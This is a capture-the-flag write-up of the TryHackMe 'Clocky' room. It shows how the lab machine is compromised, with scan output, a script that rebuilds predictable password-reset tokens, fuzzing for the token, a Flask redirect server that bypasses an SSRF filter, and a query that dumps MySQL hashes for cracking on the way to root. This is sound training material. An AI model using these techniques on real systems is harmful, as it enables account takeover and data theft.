Post

TryHackMe - Clocky

TryHackMe - Clocky

Initial Enumeration

Nmap scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ nmap -sC -sV -v 10.10.248.228
Starting Nmap 7.94 ( https://nmap.org ) at 2024-07-10 15:07 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:07
Completed NSE at 15:07, 0.00s elapsed
Initiating NSE at 15:07
Completed NSE at 15:07, 0.00s elapsed
Initiating NSE at 15:07
Completed NSE at 15:07, 0.00s elapsed
Initiating Ping Scan at 15:07
Scanning 10.10.248.228 [2 ports]
Completed Ping Scan at 15:07, 0.10s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:07
Completed Parallel DNS resolution of 1 host. at 15:07, 0.04s elapsed
Initiating Connect Scan at 15:07
Scanning 10.10.248.228 [1000 ports]
Discovered open port 80/tcp on 10.10.248.228
Discovered open port 22/tcp on 10.10.248.228
Discovered open port 8080/tcp on 10.10.248.228
Discovered open port 8000/tcp on 10.10.248.228

There are four ports open.

  • 22/SSH
  • 80/HTTP
  • 8000/HTTP
  • 8080/HTTP

Flag 1

We can get our first flag by visiting http://clocky.thm:8000/robots.txt

Web 8000 robots.txt

Flag 2

Run dirsearch to find /index.zip.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ dirsearch -u http://clocky.thm:8000

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /home/kali/.dirsearch/reports/clocky.thm-8000/_24-07-10_15-27-39.txt

Error Log: /home/kali/.dirsearch/logs/errors-24-07-10_15-27-39.log

Target: http://clocky.thm:8000/

[15:27:39] Starting: 
[15:28:40] 200 -    2KB - /index.zip                                        
[15:29:04] 200 -  115B  - /robots.txt                                       
                                                                             
Task Completed

After downloading and unzipping the index.zip file, we can get flag2.txt and also app.py.

Flag 3

After analyzing source code of app.py, we discovered few api endpoints:

  • /
  • /administrator
  • /forgot_password
  • /password_reset

Here, /forgot_password generates reset token just based on current time, so we can crack it.

1
2
3
value = datetime.datetime.now()
lnk = str(value)[:-4] + " . " + username.upper()
lnk = hashlib.sha1(lnk.encode("utf-8")).hexdigest()

Now, let’s make request for forgot_password as administrator username, and we can see in burp suite that we can get Date and time. Date and time in response

Let’s write simple python script to generate tokens:

1
2
3
4
5
6
7
8
9
10
import requests
import hashlib

for i in range(0,100):

	i = str(i).rjust(2, "0")
	value = '2024-07-10 20:39:18.' + i
	lnk = value + " . " + 'ADMINISTRATOR'
	lnk = hashlib.sha1(lnk.encode("utf-8")).hexdigest()
	print(lnk)

Save this tokens into file to fuzz it afterwards.

Now, we have to find the right parameter for the /password_reset endpoint because in the source code suggested TEMPORARY parameter is giving us the error Invalid parameter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ ffuf -u http://clocky.thm:8080/password_reset?FUZZ=test -w /usr/share/SecLists/Discovery/Web-Content/burp-parameter-names.txt -fs 26

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://clocky.thm:8080/password_reset?FUZZ=test
 :: Wordlist         : FUZZ: /usr/share/SecLists/Discovery/Web-Content/burp-parameter-names.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 26
________________________________________________

[Status: 200, Size: 22, Words: 2, Lines: 1, Duration: 126ms]
    * FUZZ: token

:: Progress: [6453/6453] :: Job [1/1] :: 210 req/sec :: Duration: [0:00:35] :: Errors: 0 ::

Now, let’s fuzz our tokens to find the right one.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ ffuf -u http://clocky.thm:8080/password_reset?token=FUZZ -w times.txt -fs 22

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://clocky.thm:8080/password_reset?token=FUZZ
 :: Wordlist         : FUZZ: /home/kali/Downloads/THM/clocky/times.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 22
________________________________________________

[Status: 200, Size: 1627, Words: 665, Lines: 54, Duration: 112ms]
    * FUZZ: 1a6197853be81d47d2f6886aa653defa17898857

:: Progress: [100/100] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

Using the token we have found, we can make request to reset the password for administrator account. And after logging into account we can get our third flag. Flag 3

Flag 4

Here, we can give input in Location field and it downloads the file called file.txt. We can try different file names but it seems to only download empty file.

After few attempts, we can discover that there is an SSRF vulnerability, but it is giving us the error that Action not permitted. We can try different SSRF payloads, but no luck. It seems there is some kind filter that preventing from listing files. SSRf payload fail

After some research on portswigger, we can discover that we can bypass this filter by using redirection. So, we can write simple python script to get request on our web server and then redirect it to machine’s server to get the database.sql file in the following manner:

1
2
3
4
5
6
7
8
9
10
from flask import Flask, redirect, request
app = Flask(__name__)

@app.route('/', methods=['GET'])
def redirect_me():
	redirect_url = 'http://127.0.0.1/database.sql'
	return redirect(redirect_url, code=302)

if __name__ == '__main__':
	app.run(host='0.0.0.0', port=7777, debug=True)

Now, we can just make request to ourself and can get the flag : Flag 4

Flag 5

In the output of database.sql, we can get password and try it to get SSH shell as there is possibility of password reuse. In the app.py file, we have got two usernames: jane and clarice. After trying password for both the users, we got shell as clarice and also get fifth flag in her home directory.

Flag 6

After running linpeas, we can get mysql database password in /home/clarice/app/.env file. We can login to mysql database with user clocky_user (which we got from app.py) and password that we just found.

By looking in mysql database and user table, we can see that we have few users with password hashes and we can also see there is one plugin called caching_sha2_password is used for authentication. In the User column, there is one interesting user called “dev”.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mysql> select User from user;
+------------------+
| User             |
+------------------+
| clocky_user      |
| dev              |
| clocky_user      |
| debian-sys-maint |
| dev              |
| mysql.infoschema |
| mysql.session    |
| mysql.sys        |
| root             |
+------------------+
9 rows in set (0.00 sec)

After searching over internet, I found this https://www.percona.com/blog/brute-force-mysql-password-from-a-hash/ blog that shows how we can retrieve hash from authentication_string. Use blow query to dump hash:

1
2
3
4
5
6
7
8
mysql> select CONCAT('$mysql',LEFT(authentication_string,6),'*',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'*')) AS hash FROM user where User="dev";
+--------------------------------+
| hash                           |
+--------------------------------+
| $mysql$A$005*0D172F7...4536142 |
| $mysql$A$005*1C160A3...935462E |
+--------------------------------+
2 rows in set (0.00 sec)

Now, we can crack password with hashcat using mode 7401:

1
2
3
4
5
$ hashcat -m 7401 hash /usr/share/wordlists/rockyou.txt
...
$mysql$A$005*1C160A...935462E:[REDACTED]
$mysql$A$005*0D172F...4536142:[REDACTED]
...

Use this password to switch to root user and get the sixth flag.

1
2
3
4
clarice@clocky:~$ su root
Password: 
root@clocky:/home/clarice# cat /root/flag6.txt
THM{REDACTED}
This post is licensed under CC BY 4.0 by the author.